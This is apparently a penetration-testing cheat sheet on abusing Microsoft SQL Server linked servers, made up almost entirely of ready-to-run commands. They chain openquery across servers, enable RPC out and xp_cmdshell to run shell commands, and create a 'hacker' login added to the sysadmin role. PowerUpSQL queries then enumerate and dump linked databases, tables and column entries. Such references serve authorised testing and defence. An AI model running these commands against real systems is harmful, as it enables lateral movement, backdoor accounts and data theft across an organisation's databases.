MSSQL - Linked Database
contents
Summary#
- Find Trusted Link
- Execute Query Through The Link
- Crawl Links for Instances in the Domain
- Crawl Links for a Specific Instance
- Query Version of Linked Database
- Execute Procedure on Linked Database
- Determine Names of Linked Databases
- Determine All the Tables Names from a Selected Linked Database
- Gather the Top 5 Columns from a Selected Linked Table
- Gather Entries from a Selected Linked Column
Find Trusted Link#
select * from master..sysserversExecute Query Through The Link#
-- execute query through the linkselect * from openquery("dcorp-sql1", 'select * from master..sysservers')select version from openquery("linkedserver", 'select @@version as version');-- chain multiple openqueryselect version from openquery("link1",'select version from openquery("link2","select @@version as version")')-- enable rpc out for xp_cmdshellEXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true';EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true';select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';');select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';');-- execute shell commandsEXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServerselect 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')-- create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"Crawl Links for Instances in the Domain#
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
Get-SQLInstanceDomain | Get-SQLServerLink -Verboseselect * from master..sysserversCrawl Links for a Specific Instance#
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verboseselect * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')Query Version of Linked Database#
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -VerboseExecute Procedure on Linked Database#
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";SQL> EXECUTE('RECONFIGURE') at "linked.database.local";SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";SQL> EXECUTE('RECONFIGURE') at "linked.database.local";SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";Determine Names of Linked Databases#
tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -VerboseDetermine All the Tables Names from a Selected Linked Database#
The result is TableName which feeds into following query
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -VerboseGather the Top 5 Columns from a Selected Linked Table#
The results are ColumnName and ColumnValue which feed into following query
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -VerboseGather Entries from a Selected Linked Column#
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose